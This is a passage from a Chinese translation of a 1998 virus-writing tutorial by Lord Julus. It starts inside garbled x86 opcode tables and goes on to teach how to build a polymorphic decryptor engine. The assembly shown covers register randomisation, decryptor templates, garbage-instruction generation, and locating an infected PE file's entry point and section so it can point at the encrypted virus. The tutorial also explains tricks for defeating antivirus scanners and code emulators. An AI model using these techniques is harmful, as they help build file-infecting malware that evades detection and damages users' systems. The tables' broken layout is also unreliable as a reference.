immediate byte into byte register |
B|---------------------------------------------------------------------------|
|
|-----------------+-------------------+---------+---------+-----------------|
| Shift Grp2 | RET near | LES | LDS | MOV |
C|-----------------+-------------------| | |-----------------|
| Eb,Ib | Ev,Iv | Iw | | Gv,Mp | Gv,Mp | Eb,Ib | Ev,Iv |
|-------------------------------------+---------+---------+--------+--------|
| Shift Grp2 | | | | |
D|-------------------------------------| AAM | AAD | | XLAT |
| Eb,1 | Ev,1 | Eb,CL | Ev,CL | | | | |
|--------+--------+---------+---------+-------------------+-----------------|
| LOOPNE | LOOPE | LOOP | JCXZ | IN | OUT |
E| | | | |-------------------+-----------------|
| Jb | Jb | Jb | Jb | AL,Ib | eAX,Ib | Ib,AL | Ib,eAX |
|--------+--------+---------+---------+---------+---------+-----------------|
| | |
| REP | | | Unary Grp3 |
F|
LOCK | | REPNE | | HLT | CMC |-----------------|
| | | | REPE | | | Eb | Ev |
'---------------------------------------------------------------------------'
8
.---------------------------------------------------------------------------.
| OR | PUSH | 2-byte |
0|---------------------------------------------------------| | |
| Eb,Gb | Ev,Gv | Gb,Eb | Gv,Ev | AL,Ib | eAX,Iv | CS | escape |
|---------------------------------------------------------+--------+--------|
| SBB | PUSH | POP |
1|---------------------------------------------------------| | |
| Eb,Gb | Ev,Gv | Gb,Eb | Gv,Ev | AL,Ib | eAX,Iv | DS | DS |
|---------------------------------------------------------+--------+--------|
| SUB | SEG | |
2|---------------------------------------------------------| | DAS |
| Eb,Gb | Ev,Gv | Gb,Eb | Gv,Ev | AL,Ib | eAX,Iv | =CS | |
|---------------------------------------------------------+--------+--------|
| CMP | SEG | |
3|---------------------------------------------------------| | AAS |
| Eb,Gb | Ev,Gv | Gb,Eb | Gv,Ev | AL,Ib | eAX,Iv | =CS | |
|---------------------------------------------------------------------------|
| DEC general register |
4|---------------------------------------------------------------------------|
| eAX | eCX | eDX | eBX | eSP | eBP | eSI | eDI |
|---------------------------------------------------------------------------|
|
POP into general register |
5|---------------------------------------------------------------------------|
| eAX | eCX | eDX | eBX | eSP | eBP | eSI | eDI |
|-------+---------+---------+---------+---------+---------+--------+--------|
| PUSH | IMUL | PUSH | IMUL | INSB | INSW/D | OUTSB |OUTSW/D |
6| | | | | | | | |
| Ib | GvEvIv | Ib | GvEvIv | Yb,DX | Yb,DX | Dx,Xb | DX,Xv |
|---------------------------------------------------------------------------|
| Short-displacement jump on condition(Jb) |
7|---------------------------------------------------------------------------|
| JS | JNS | JP | JNP | JL | JNL | JLE | JNLE |
|-------------------------------------+---------+---------+--------+--------|
| MOV | MOV | LEA | MOV | POP |
8|-------------------------------------| | | | |
| Eb,Gb | Ev,Gv | Gb,Eb | Gv,Ev | Ew,Sw | Gv,M | Sw,Ew | Ev |
|-------+---------+---------+---------+---------+---------+--------+--------|
| | | CALL | | PUSHF | POPF | | |
9| CBW | CWD | | WAIT | | | SAHF | LAHF |
| | | Ap | | Fv | Fv | | |
|-----------------+---------+---------+---------+---------+--------+--------|
| TEST | STOSB | STOSW/D | LODSB | LODSW/D | SCASB |SCASW/D |
A|-----------------| | | | | | |
| AL,Ib | eAX,Iv | Yb,AL | Yv,eAX | AL,Xb | eAX,Xv | AL,Xb |eAX,Xv |
|---------------------------------------------------------------------------|
| MOV immediate word
or double into word or double register |
B|---------------------------------------------------------------------------|
| eAX | eCX | eDX | eBX | eSP | eBP | eSI | eDI |
|-------+---------+-------------------+---------+---------+--------+--------|
| ENTER | | RET far | INT | INT | | |
C| | LEAVE |-------------------| | | INTO | IRET |
| Iw,Ib | | Iw | | 3 | Ib | | |
|---------------------------------------------------------------------------|
|
|
D| ESC(Escape to coprocessor instruction set) |
| |
|---------------------------------------------------------------------------|
| CALL
| JNP | IN | OUT |
E| |-----------------------------+-------------------+-----------------|
| Av | Jv | Ap | Jb | AL,DX | eAX,DX | DX,AL | DX,eAX |
|-------+---------+---------+---------+---------+---------+--------+--------|
| | | | | | |INC/DEC
|Indirct |
F| CLC | STC | CLI | STI | CLD | STD | | |
| | |
| | | | Grp4 | Grp5 |
'---------------------------------------------------------------------------'
1.6.6
Two-Byte操作码表(第一个字节是0FH)
0 1 2 3 4 5 6 7
.---------------------------------------------------------------------------.
| | | LAR | LSL | | | | |
0| Grp6 | Grp7 | | | | | CLTS | |
| | | Gw,Ew | Gv,Ew | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
1| | | | | | | | |
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| MOV | MOV | MOV | MOV | MOV | | MOV | |
2| | | | | | | | |
| Cd,Rd
| Dd,Rd | Rd,Cd | Rd,Dd | Td,Rd | | Rd,Td | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| |
| | | | | | |
3| | | | | | | | |
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
4| | | | | | | | |
| | | | | |
| | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
5| | | | | | | |
|
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
6| |
| | | | | | |
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
7| | | | | | | | |
| | | | | | | | |
|---------------------------------------------------------------------------|
| Long-displacement jump on condition (Jv) |
8|---------------------------------------------------------------------------|
| JO | JNO | JB | JNB | JZ | JNZ | JBE | JNBE |
|---------------------------------------------------------------------------|
| Byte Set on condition (Eb) |
9|---------------------------------------------------------------------------|
| SETO | SETNO | SETB | SETNB | SETZ | SETNZ | SETBE | SETNBE |
|--------+--------+---------+---------+---------+---------+--------+--------|
| PUSH | POP | | BT | SHLD | SHLD | | |
A| | | | | | | | |
| FS | FS | | Ev,Gv | EvGvIb | EvGvCL | | |
|--------+--------+---------+---------+---------+---------+-----------------|
| | | LSS | BTR | LFS | LGS | MOVZX |
B| | | | | | |-----------------|
| | | Mp | Ev,Gv | Mp | Mp | Gv,Eb | Gv,Ew |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
C| | | | | | | | |
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
D| | | | | | | | |
| | |
| | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
E| | | | |
| | | |
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | |
| |
F| | | | | | | | |
| | | | | | | | |
'---------------------------------------------------------------------------'
8
.---------------------------------------------------------------------------.
| | | | | | | | |
0| | |
| | | | | |
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | |
| | | |
1| | | | | | | | |
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
2| | | | | | | | |
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
3| | | | | | | | |
| | |
| | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
4| | | | | | | | |
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
5| | | | | | | | |
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
6| | | | | | | | |
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
7| | | | | | | | |
| | | | | | | | |
|---------------------------------------------------------------------------|
| Long-displacement jump on condition (Jv) |
8|---------------------------------------------------------------------------|
| JS | JNS | JP | JNP | JL | JNL | JLE | JNLE |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | |
|
9| SETS | SETNS | SETP | SETNP | SETL | SETNL | SETLE | SETNLE |
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| PUSH | POP | | BTS | SHRD | SHRD | | IMUL |
A| | | | | | | | |
| GS | GS | | Ev,Gv | EvGvIb | EvGvCL | | Gv,Ev |
|--------+--------+---------+---------+---------+---------+-----------------|
| | | Grp-8 | BTC | BSF | BSR | MOVSX |
B| | | | | | |-----------------|
| | | Ev,Ib | Ev,Gv | Gv,Ev | Gv,Ev | Gv,Eb Gv,Ew |
|--------+--------+---------+---------+---------+---------+-----------------|
| | | | | | | | |
C| | | | | | | |
|
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
D| | | | | | | | |
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | |
| | | | | |
E| | | | | | | | |
| | | | | | | | |
|--------+--------+---------+---------+---------+---------+--------+--------|
| | | | | | | | |
F| | | | | | | | |
| | | | | | | | |
'---------------------------------------------------------------------------'
1.6.7
通过modR/M字节的5,4,3位确定操作码
G .-----------------------.
r | mod | nnn | R/M |
o
'-----------------------'
u
p 000 001 010 011 100 101 110 111
.---------------------------------------------------------------.
1| ADD | OR | ADC | SBB | AND | SUB | XOR | CMP |
| | | | | | | | |
|-------+-------+-------+-------+-------+-------+-------+-------|
2| ROL | ROR | RCL | RCR | SHL | SHR | | SAR |
| | | | | | | | |
|-------+-------+-------+-------+-------+-------+-------+-------|
3| TEST | | NOT | NEG | MUL | IMUL | DIV | IDIV |
| Ib/Iv | | | |AL/eAX |AL/eAX
|AL/eAX |AL/eAX |
|-------+-------+-------+-------+-------+-------+-------+-------|
4| INC | DEC | | | | | | |
| Eb | Eb | | | | | | |
|-------+-------+-------+-------+-------+-------+-------+-------|
5| INC | DEC | CALL | CALL | JMP | JMP | PUSH | |
| Ev | Ev | Ev | eP | Ev | Ep | Ev | |
|-------+-------+-------+-------+-------+-------+-------+-------|
6| SLDT | STR | LLDT | LTR | VERR | VERW | | |
| Ew | Ew | Ew | Ew | Ew | Ew | | |
|-------+-------+-------+-------+-------+-------+-------+-------|
7| SGDT | SIDT | LGDT | LIDT | SMSW | | LMSW | |
| Ms | Ms | Ms | Ms | Ew | | Ew | |
|-------+-------+-------+-------+-------+-------+-------+-------|
8| | | | | BT | BTS | BTR | BTC |
| | | | | | | | |
'---------------------------------------------------------------'
1.6.8
条件的定义
(用于条件指令Jcond,和SETcond)
下面的表在生成条件表达式时可能有用:
.--------------------------------------------------------------------------.
| | Instr. | Condition |
| Mnemonic Meaning | Subcode | Tested |
|------------------------------------+----------+--------------------------|
| O Overflow | 0000 | OF = 1 |
|------------------------------------+----------+--------------------------|
| NO No
overflow | 0001 | OF = 0 |
|------------------------------------+----------+--------------------------|
| B Below | | |
| NAE Neither above
nor equal | 0010 | CF = 1 |
|------------------------------------+----------+--------------------------|
| NB Not
below | | |
| AE Above or
equal | 0011 | CF = 0 |
|------------------------------------+----------+--------------------------|
| E Equal | | |
| Z Zero | 0100 | ZF = 1 |
|------------------------------------+----------+--------------------------|
| NE Not
equal | | |
| NZ Not
zero | 0101 | ZF = 0 |
|------------------------------------+----------+--------------------------|
| BE Below
or equal | | |
| NA Not
above | 0110 | (CF or ZF) = 1 |
|------------------------------------+----------+--------------------------|
| NBE Neither below
nor equal | | |
| NA Above | 0111 | (CF or ZF) = 0 |
|------------------------------------+----------+--------------------------|
| S Sign | 1000 | SF = 1 |
|------------------------------------+----------+--------------------------|
| NS No
sign | 1001 | SF = 0
|
|------------------------------------+----------+--------------------------|
| P Parity | | |
| PE Parity
even | 1010 | PF = 1 |
|------------------------------------+----------+--------------------------|
| NP No
parity | | |
| PO Parity
odd | 1011 | PF = 0 |
|------------------------------------+----------+--------------------------|
| L Less | | |
| NGE Neither greater
nor equal| 1100 | (SF xor OF) = 1 |
|------------------------------------+----------+--------------------------|
| NL Not
less | | |
| GE Greater
or equal |
1101 | (SF xor OF) = 0 |
|------------------------------------+----------+--------------------------|
| LE Less
or equal | | |
| NG Not
greater | 1110 | ((SF xor OF) or ZF) = 1 |
|------------------------------------+----------+--------------------------|
| NLE Neither less
nor equal | | |
| G Greater | 1111 | ((SF xor OF) or ZF) = 0 |
'--------------------------------------------------------------------------'
注释:术语"above"和"below"指出两个无符号数之间的关系(不测试SF与OF)。术语"greater"和"less"指出两个有符号数之间的关系(测试SF和OF)。
.-------------------------.
-------------------------| PART
II |--------------------------
'-------------------------'
2
生成指令
Ok,我想我应该知道你现在的感觉…或许很恶心…或许想把保存本文的硬盘都格式化了。不满现状倒不太坏!(并不是说我曾经遇到过这样的事…;-)。我知道或许除了少量的指令名有些意义外,上面的那些表看起来就像一堆狗屎…但是,就像我所说的那样,你应该把这些表合成一张大表并标上缩写词。然后浏览它。不久,你就会发现一些规律…到那时,你就可以生成属于自己的编码了。
我们首先设定一个目标,并根据目标选取我们必须深入的程度:
1. Complexity:
-----> bigger ----> more
instruction types
|
|---> privileged instructions
|
|---> FPU instructions
|
'---> larger decryptors
'----> smaller ----> less instruction types
|---> less privileged instructions
|---> no FPU instructions
'---> shorter decryptors
2. Quickness:
-----> bigger ----> shorter decryptors
|
|---> no FPU instructions
|
'---> Less loops and cycles
'----> smaller ----> huge decryptors
|---> many FPU instructions
'---> many loops and cycles
在这里,程序设计者做何选择要看他愿意花多大力气以及他有多少时间而定,等等。就个人来说,我喜欢最复杂最慢的译码器。它将生成“已有的”盔甲对抗反汇编、字符串扫描和代码模拟器。这将使你在第二个保护层里(在第二层译码器里)留下真正的盔甲,因为盔甲是一组明确定义的指令,所以,可以通过字符串扫描识别它们。这就是为什么我喜欢那些自我武装的译码器,而很少用那些很容易被发现的技巧。
上面所述使我真正认识到多态的含义:
G A R B A G E
就像它听起来那样使人讨厌,垃圾(有时候被称为无用数据)是多态译码器的灵魂。最简单的译码器和最蹩脚的加密就像一头大象藏在樱桃树下…大象得到红红的小眼睛,你知道…;-)我们主要讨论垃圾,因为它在多态译码器中是非常重要的。
无论如何,在开始生成垃圾前(;-),让我们看一看多态引擎的通用框架:
.------------.
| Poly entry |
'------------'
.-v----------------------------.
| Choosing random registers |
|------------------------------|
| Choosing random values |
|------------------------------|
| Generate garbage
>-+------------------------.
|---------------------------------------. |
| Mainloop | |
| .------------------------------| |
.----+--------+-< Generate real instruction | |
| | |------------------------------| |
| | | Generate garbage >-+---------------|
| | '------------------------------| |
| |
| |---------------------------------------' |
| | Generate garbage
>-+------------------------|
| '------------------------------' |
| .-v---------. |
| | Poly exit | |
| '-----------' |
| .------------------------------. |
'--->| Instruction generator | |
'------------------------------' |
.------------------------------.
|
| Garbage generator
|<-----------------------'
'------------------------------'
因此,我们应该有如下的例程:
* 随机寄存器选择器
* 随机值选择器
* 指令生成器
* 垃圾生成器
2.1
随机寄存器选择器
Ok,这样看来,你的多态引擎的目标是在每件事之前创建一个译码器。这个通用的译码器如下图所示:
.-----------------------------------------------------------------------.
| Load Key Register with key value |
I | Load Pointer
Register with an address to the code to decrypt |
| Load Length Register with the code
length |
|-----------------------------------------------------------------------|
| Decrypt_Loop: |
| Load Code Register with byte/word/dword
to decrypt |
| Apply Decrypt Operation over Code
Register with Key Register |
| Store Code Register at the pointer
held by Pointer Register |
II | Apply or not math operation over
the Key Register |
| Increment Pointer Register |
|
| Jump to decrypted code |
'-----------------------------------------------------------------------'
你可能注意到,我把译码器分成2个部分:
(I)加载已用的寄存器。因为多态引擎要把指令全填在这里,并使它们尽可能的小,因此它是非常重要的;你应当避免使用增量处理寄存器或其它的技巧;应该直接寻址(例如,mov preg, 1234h)。
(II)译码器循环
这样看来,我们主要需要操作4类寄存器:
?Key register (kreg)
?Pointer
register (preg)
?Code register (creg)
?Length register (lreg)
注释:你可以不用寄存器代替key寄存器和指针寄存器。而是对key改用立即值,对指针用立即寻址方式,直接增加立即值。同样,可以通过直接在代码上应用解密数学运算,跳过代码寄存器。不过,在这篇教学里,我将使用所有的寄存器。
正如我前面所说的,我将试着说明32位多态的方法,我将考虑生成32位代码的多态引擎。因此,我们可以用任一寄存器表示地址码:[EAX], [ECX],等等。不像在16位里,你只有较少的选择,像[DI], [BX+DI],等等。
让我们检验选择随机寄存器的方法。
注释:我将调用"brandom32"过程,它期望的值在EAX里,并返回一个0至原始EAX-1之间的随机值。
这个过程隐含的想法是为寄存器设置代码,首先是真正使用的寄存器和其它的,无用数据(垃圾)寄存器。在那之后,过程应该在它们之间通过几次2轮交换来混淆它们:
used_registers:
kreg db
0
preg
db 1
creg
db 2
lreg
db 3
jrg1
db 5
jrg2
db 6
jrg3 db 7
Choose_random_regs
proc near ;
lea
edi, used_registers ; point to
registers
lea
esi, used_registers ; point to
registers
mov
edx, esi ; save position
mov
ecx, 50h ; scramble 50h times
mangle: ;
mov eax, 8 ;
call brandom32 ;
choose a random nr. between 0-7
mov ebx, eax ; in EBX
mov eax, 8 ;
call brandom32 ; choose a random nr. between 0-7
cmp ebx, eax ; in EAX
je
mangle ; if EAX=EBX choose again
add edi, eax ; increment first pointer
add esi, ebx ; increment second pointer
mov al, byte ptr [edi] ; and exchange the values
xchg
byte ptr [esi], al ; between
them
mov byte ptr [edi], al ;
mov edi, edx ; restore position
mov esi, edx ;
loop mangle ; and do it 50h times
ret ;
Choose_random_regs
endp ;
在这之后,我们可以用那些确实是随机选择的寄存器。对于填充适当的ModR/M寄存器,考虑到被对齐的代码像这样:xxxxxNNN,要填充正确的ModR/M寄存器,你需要清理ModR/M字节。查看下面的’指令生成器’。
2.2
随机值选择器
对多态引擎来说,选择多个随机值并用它们填充真正的指令是非常重要的。
最普通的随机值被用作加密key。为了有一个强壮的key,你必须按下面的规则行事,如:
* key开头不要出现0 填充的情况(类似于
* 不要使用对称的 key(类似于ABCDDCBAh)
同样,另一种普通的随机值是’递增’key。尽管我在这里引用了递增,但你并不一定总是采用递增/递减key。你可以选择任一可逆的数学运算。在我的MOF32里,每次都是重复使用XOR,ADD和SUB操作中的一种来改变key。
最后但并非最不重要的随机值是加密运算。我的32位多态引擎使用3种加密运算:
1)无key运算:对代码进行ROR/ROL运算
2)双代码运算:把代码与后续的代码做XOR/ADD/SUB(dword)运算
3)key运算:把代码与key做XOR/ADD/SUB运算
你进行的数学运算越多,加密就越坚固。然而你不要因此而提升译码器本身的复杂性。其它可以使用的有趣的运算是NOT, NEG, XCHG。
2.3
指令生成器
Ok,现在该生成我们的译码器的指令了。这是一个在mainloop中被调用的过程,因此,我们需要维护一个计数器。这个计数器指示我们在这个迭代中必须生成哪条指令。让我们看看我打算怎样声明译码器:
decryptor:
i1:
<instruction 1>
db 0FEh
i2
<instruction 2>
db 0FEh
...
...
in
<instruction n>
db 0FEh
因此,我们有译码器声明的每一条指令,当然,还有一组简单的寄存器,但是要小心:在声明译码器时不要使用EAX或AX,因为那些操作码是不同的。例如:
we
define | will
actually become
-------------------------+--------------------------
mov
ebx, [ebx] | mov
creg, [preg]
mov
ebx, 0 | mov
kreg, keyvalue
etc... |
因此,你应该理解:你定义了指令,编译器为你计算正确的操作码并把它们放在那里。现在,你所要做的就是复制每条指令并用它们填充适当的值或寄存器。
在这里,你面临两个选择:一个是填入声明译码器的地方,然后把它复制到目的地,或者你也可以逐字节复制并直接填入目的地。我认为第一个方法更快一些。但需要你有一个指针。让我们假定ESI指向译码器的字节。为了使事情更简单,如果你的译码器里指令较少(MOF32用了12条指令译码器),你可以在你的指令生成器程序里选择生成一个“案例”,手动获得每条指令,像下面这样:
cmp ecx,
1
je
ins1
cmp
ecx, 2
je
ins2
...
jmp
over
ins1: ...
jmp over
ins2: ...
jmp over
...
over:
ret
你明白ecx是计数器。因此,如果我们必须生成指令nr.3,我们就跳到ins3。你填入每条指令并不是很容易,这是因为你必须非常清楚那是那种指令并知道填在哪。让我们设想你的第三条指令看起来如同下面声明的:
mov
ebx, 0
你必须把它变成:
mov
kreg, keyvalue
知道你的kreg是EDX,key值是12345678h。
The
opcode for MOV EBX, 0 is:
BBh 00h 00h 00h 00h
The
opcode for MOV EDX, 12345678h is: BAh 78h 56h 34h 12h
REG字段是操作码的最后三位(如果不明白,重读第一部分),因此,我们首先跳过它(ESI指向指令开始处):
and
byte ptr [esi], 00000111b
在那之后我们填充适当的寄存器:
or byte ptr [esi], kreg
现在,我们填充key值:
or dword ptr [esi+1], keyvalue
DONE! 我们有了自己的多态指令。我们现在所要做的就是用lodsb/stosb或其它方法把它复制到目的地。
当写一个多态引擎时,我推荐你首先写不包含任何垃圾的。一旦你生成了你自己的译码器,并且工作正常,你可以再增加垃圾引擎。
作为对你的帮助,这里是MOF32所用的通用译码器:
decryptor:
i01: mov ebx, 0 ; mov preg, code_start
db 0feh ;
i02: mov ebx, 0 ; mov kreg, key
db 0feh ;
i03: mov ebx, 0 ; mov lreg, code_length/8
db 0feh ;
i04: mov ebx, dword ptr [ebx] ; mov creg, [preg] (mainloop)
db 0feh ;
i05: add ebx, ecx
; <op1> creg, kreg
db 0feh ;
i06: ror ebx, 0
; <op2> creg, key2
db 0feh ;
i07: add ebx, dword ptr [ebx+4] ; <op3> creg, [preg+4]
db
0feh ;
i08: mov dword ptr [ebx], ebx ; mov [preg], creg
db 0feh ;
i09: add ebx, keyvalue
; <op4> kreg, keyvalue
db 0feh ;
i10: add ebx, 4 ; add ebx, 4
db 0feh ;
i11: sub ebx, 1 ; sub lreg, 1
db 0feh ;
i12: jnz $ ; jnz mainloop
db 0feh, 0ffh ;
我希望这是非常清楚的,就象我们正在接近的多态译码器的真正盔甲:垃圾…
2.4
垃圾生成器
就像我在多态引擎图里说明的那样,在生成第一个真正的指令之前和在每条真正的指令之后调用垃圾生成器。下面是垃圾应该包括的主要的指令类型:
- <math
op> jreg, <reg>/<mem>/<imm>
- <logical
op> jreg, <reg>/<mem>/<imm>
- <test
op> jreg, <reg>/<mem>/<imm>
- <shift
op>
- jmps
and conditional jumps
- calls
- unary
operations (inc,dec,...)
- pushad/popad
- FPU
instructions
- priviledged
instructions (smsw, sidt, etc...)
注释:在pushad和popad之间,寄存器可能被破坏…
Ok,我们现在调用垃圾例程。首先,我们准备生成多少条无用的指令?这可是个哲学问题。依我之见,为了做一个容易的可定制可升级的多态引擎,我建议你生成的无用指令尽量与译码器的真正指令差不多。因此,如果你的译码器有10条真正的指令,你至少应该在它们之间生成不少于10条的无用指令。我想当我说无用指令时你能明白我的意思,我的意思是一组指令,例如: pushad/mov eax, ebx/popad… 当生成垃圾指令时,你将执行一个循环直到计数器为0。如果你一次生成多条指令(例如call/jump组合),你应该把计数器递减2,否则你会得到太多的垃圾指令。
总之,依我看来,垃圾生成器应当看起来如下:
.-----------------.
| Garbage routine |
'-----------------'
|
.----+------------------------------------------------------------------.
| .--v------------------------------------------. |
| | Choose random number
of junk instructions | |
| '---------------------------------------------' |
| |
|
| .--v-----------------------. |
| | Garbage generator loop | |
| '-^------------------------' |
| | | |
| | .--v--------------------------------.
.-------------------. |
| | | Choose
random garbage type
|-> Choose addressing | |
| | '--+-+-+-+-+-+----------------------'
'----------+-+-+----' |
| | | | | | | | | | | |
| |
| | | | | '--> Type 1 ---->-<------ mem2reg <-' | | |
| |
| | | | '----> Type 2 ---->|<------ reg2reg <---' | |
| |
| | | '------> Type 3 ---->|<------ etc... <-----' |
| |
| | '--------> Type 4 ---->| |
| |
| '----------> Type 5 ---->| |
| |
'------------> Type 6 ---->| |
| | | |
| | .-----------------------------v---------------------------.
|
| | | Generate the garbage instruction(s) | |
| | '---------------------------------------------------------'
|
| | | |
| | .--v------------------------------------------------------.
|
| | | Save addresses if needed | |
| | '---------------------------------------------------------'
|
| | | |
| .------------v-------------. |
| | Decr. counter until 0 | |
| '--------------------------' |
'----+------------------------------------------------------------------'
.-v--------------------.
| Garbage routine exit
|
'----------------------'
让我们逐个理解它们…
我已经谈到了垃圾指令的数量,但在这点上,你可能有自己的想法,因此,我就不多说了… 我的MOF32使用随机数量(4-15)的无用指令。
你的多态引擎必须定义一组非常好的无用指令的类型。看看我的例子:
1 -
mathematical operations
2 -
logical instructions
3 -
unary instructions
4 -
jump
5 -
call
6 -
back call
7 -
pushad/popad
etc...
你将需要有少量的例程来分别处理这些。
当选择寻址类型时,你必须选择:
1 -
operand size (16 or 32 bit)
2 -
address size (16 or 32 bit)
知道这些,你就知道使用哪个寻址表(查看第一部分的寻址表)。在定位到表之后,你选择真正的寻址类型(不论你用寄存器到寄存器,还是寄存器到内存,在这里不管你有没有变址,有没有位移;所有的选择必须都是随机的)… 在选择完成后,你有Mod/RM字节,SIB字节和最后的立即值。如果需要的话,还可能有操作数和地址大小前缀。在这之后,你必须转到操作码表数组…
这里再重申一遍,你可以选用整个Intel(c) 386表或只定义少许操作码。对于最好的多态引擎来说,我认为最好是用整个表。为了这样做,你需要有少许索引定义。让我们看看是怎么做的:
type1:
row1,
col1, len
row2,
col2, len
...
type2:
row1,
col1, len
roe2,
col2, len
...
例如,你有类型一――数学运算(add,sub)。你首先定义add指令的行和列和它占用多少单元(核查操作码表)。你的多态引擎将选择一组随机的行/列,并随机的放在行上… 在这之后,你必须做修正。修正暗示着选择正确的内存到寄存器的操作码,而不是寄存器到内存,或立即数到寄存器操作码。
这里,每个必须用它自己的方法编码操作码,应尽可能的灵巧。
有了操作码之后,你所要做的是逐个安置前缀,操作码,Mod/Rm和SIB字节,立即值,并保存指令… 在你所处的地方!你有垃圾指令了!
让我说点其它的东西:你需要有一个特殊的过程,它能生成“一条”随机垃圾指令。那是因为,例如,当生成PUSHAD/POPAD指令对时,你必须在push和pop之间生成更多的无用数据。
在我的第一篇多态教学里,我解释了怎样生成call与jump结合的2种类型。当生成call时,我解释了怎样必须保存call将完成的地址,以致于你能把call编码。嗯,一个大事情是back-call,与我调用它一样… back-call有递增已运行指令数的能力。Back-call看起来像这样:
jmp do_call
Routine:
...
ret
...
jmp over_call
...
do_call:
call Routine
...
over_call:
...
call Routine
...
call Routine
我猜你应该明白了… 你生成call/jmp结构,保存call的地址。然后你可能生成而不管有多少对例程的调用,因此像RET一样将返回到执行。你应当提防不要构成一个无限循环…
对于FPU指令,处理它们是非常容易的(请阅读我的反调试与反模拟器文章),但你要做的是要注意不时地重设FPU…
.----------------.
------------------------------| EXTRA PART |-------------------------------
'----------------'
3
转向32位
我答应过我将谈一点有关32位的具体内容。
就像我已经多次解释一样,我认为多态译码器应当有可以随时可以取用的东西。当我这样说时,我的意思是多态引擎“必须”正确计算任何值与地址,并适当地用它们填充指令。最重要的指令之一是:
mov
preg, code_start
这条指令把译码器开始工作的地址加载到指针寄存器。它是必须的,因为这是最终正确的地址(意味着你不必用EBP+,或那些吸引眼球的狗屎)。
如果你读过一些有关PE文件格式的文章,你知道在PE头部有一些重要的区域,你也知道在PE文件的所有区段中存在一个被称为.CODE或.TEXT的,它包含了可执行的代码。病毒通常会在这里追加一些内容(有些可能会生成新的区段)。让我们假设,在.CODE区段的尾部发现加密的病毒。让我们看看为了适当的定位自己,多态引擎必须从PE文件中找回什么:
注意:newmapaddress
= 被感染文件打开后映射的地址.
首先,我们必须定位PE头部:
mov edi, dword
ptr [newmapaddress] ;
add edi, 03ch ; locate the PE header
mov esi, dword
ptr [edi] ; address
add esi, dword
ptr [newmapaddress] ;
push esi ; save it
ESI保存了PE头部的地址;现在我们找到原始的进入点:
add esi, 028h
; locate EIP
mov ebx, [esi] ; put it in EBX
mov dword ptr [eip],
ebx ; save it in EIP variable
现在,我们必须定位映像基址(这个地址是当被感染文件载入到内存执行时,被加载的内存地址):
add esi, 0Ch ; locate imagebase
add ebx, [esi] ; add it it EBX
mov dword ptr [deltahandle],
ebx ; and save for alignment
pop esi ; restore PE address
现在,我们必须定位.CODE区段的地址。在这里,我给的是最简单的不太安全的方法;为了更好的结果,你最好为.code区段安排一个搜索例程:
add esi, 10Ch ; locate the pointer to raw
; data for the .code section.
mov edi, dword
ptr [esi] ; address
mov esi, dword
ptr [esi-4] ; size of raw data
add edi, esi ; point to end of code
sub edi, virus_size ; go back to virus start
在这个方法里,你有EDI,它指向加密病毒开始部分的相对地址。当这个文件载入内存时,它从映像基址开始被映射,那意味着如果做:
add edi, deltahandle
被感染文件执行时,你有EDI保存了病毒加密部分的精确地址。这意味着你必须用EDI里的值填充code_start。因此,当译码器开始的时候,它将不再需要调整,因为PREG正好指向被解密的代码的开始处…太好了,哈?
另一件重要的事情:为了有一个良好的守护引擎,不要使入口点在你病毒的开头出现(因为在那里有delta_handle getter以及到译码器的转移)。而是使新的EIP直接指向多态译码器,因为在它里面不需要Delta handle。在它被解密后,你将在病毒的开头找到delta handle。
另一个好主意是这样的:.code区段或诸如此类的、你病毒注入的区段的原始大小比虚拟大小要小一些。这意味着在病毒体之后你有一片真空…Rings any bells?多态引擎通常有影响寄存器的无用指令,但只有译码器的真正的指令通过写入它而影响内存。这使反病毒的家伙可以很容易地找到译码器的指令… 然而,在创建多态译码器上,你可以做一些类似下面的事情:
计算病毒的绝对结束地址
= .code 段相对地址 + 病毒大小 +基址
把这个值保存为'freemem'变量。保存另外被称为'freelength'的变量,其大小等于虚拟大小减去freemem。现在,当你生成无用的指令时,你可以这样做:
- 决定生成寄存器到内存的指令
- 生成freemen和freemem+frlllength之间的随机数N
- 生成MOV [N],
reg
There you are!!你有一条无用指令写入内存… 和这样类似的有很多。你也可以像下面这样:
mov
jreg1, N
...
mov
[jreg1], reg
现在,最后的指令看起来完全象读MOV [preg], creg的译码器的真正指令… 这将给试图理解译码器的人带来混乱…
另外与win32有关的是,你可以使用类似于smsw的特权指令,它现在还没有被任何代码模拟器所效仿。
4
结束语
这篇教学到此为止。我希望它对你有所帮助。如果你发现它有用,请让我知道:
来信必复,我会尊重你们的想法。因此,不要羞于表达自己的感想…
希望我的所作所为能对你有所帮助,更希望你能浏览我的WEB:
http://members.tripod.com/~lordjulus
http://members.xoom.com/Julus
[MIRROR]
.----------------------------------------------------------------------------.
| LORD JULUS (c) 1998 [SLAM]
| http://members.tripod.com/~lordjulus |
'----------------------------------------------------------------------------'